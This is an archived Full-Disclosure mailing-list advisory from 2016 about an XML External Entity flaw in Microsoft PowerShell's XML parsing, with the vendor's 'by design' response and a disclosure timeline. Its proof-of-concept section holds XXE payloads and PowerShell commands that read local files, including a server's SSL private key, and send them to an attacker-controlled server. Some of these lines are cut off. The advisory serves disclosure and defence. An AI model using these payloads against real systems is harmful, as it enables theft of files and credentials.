lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 6 Dec 2016 00:05:17 -0500
From: hyp3rlinx <>
Subject: [FD] Microsoft PowerShell XML External Entity

[+] Credits: John Page aka hyp3rlinx

[+] Website:

[+] Source:

[+] ISR: ApparitionSec



PowerShell (including Windows PowerShell and PowerShell Core) is a task
automation and configuration management framework
from Microsoft, consisting of a command-line shell and associated scripting
language built on the .NET Framework.
PowerShell provides full access to COM and WMI, enabling administrators to
perform administrative tasks on both local
and remote Windows systems as well as WS-Management and CIM enabling
management of remote Linux systems and network devices.

Vulnerability Type:
XML External Entity

CVE Reference:

Vulnerability Details:

PowerShell can read and process XML files, this is by design. However, its
XML parser is vulnerable to XXE attacks, if a user reads a
malicious XML file using powershells XML API. This can potentially allow
local files to be accessed and exfiltrated to an attackers server.

**MSRC response: "behavior by design for parsing".**

Issue is that this setting is default, this puts 'unknowing' users at risk
for XXE attacks and file disclosure. After running PS to process an
Evil XML file from Windows CL you may see errors like:

"Cannot convert value "System.Object[]" to type "System.Xml.XmlDocument".
Error: "Invalid character in the given encoding"


"Exception calling "Load" with "1" argument(s): "Unexpected DTD

However, the Local to Remote file access theft still works as planned...

Tested Windows 7 SP1

PS C:\> $psversiontable

Name                           Value
----                           -----
CLRVersion                     2.0.50727.5485
BuildVersion                   6.1.7601.17514
PSVersion                      2.0

Exploit POC code(s):

Scenarios A/B:

A) Reads XML from Web Server:

Access 'c:\Windows\msdfmap.ini' used by MS ADO Remote Service.

python -m SimpleHTTPServer 8080 (ATTACKER-SERVER)

'payload.dtd' (ATTACKER-SERVER)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://


<?xml version="1.0"?>
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd">

Run from PS CL to load XML:

$vuln = New-Object System.Xml.XmlDocument

Users 'msdfmap.ini' file is accessed by attacker.

B) Read XML from remote share in LAN:

Example uses three different computers.

VICTIM-COMPUTER local machine using Powershell to read XML.
REMOTE-SHARE is third computer in LAN where 'PWN.xml' is read from.
ATTACKER-SERVER the place where files stolen from VICTIM-COMPUTER will be

Assuming user is running XAMPP, try target the servers SSL Private key.


python -m SimpleHTTPServer 8080

'payload.dtd' (Host on ATTACKER-SERVER)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://

'PWN.xml'   (Host on REMOTE-SHARE)

<?xml version="1.0"?>
<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">
<!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd">


Run these examples from PowerShell Command Line.


Get-WinEvent -FilterXml ([xml](Get-Content


$test=(Get-Content $poc) -as [Xml]

Enjoy your private key file!

Disclosure Timeline:
Vendor Notification: November 14, 2016
Vendor: "behavior by design for parsing." November 23, 2016
December 5, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.


Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists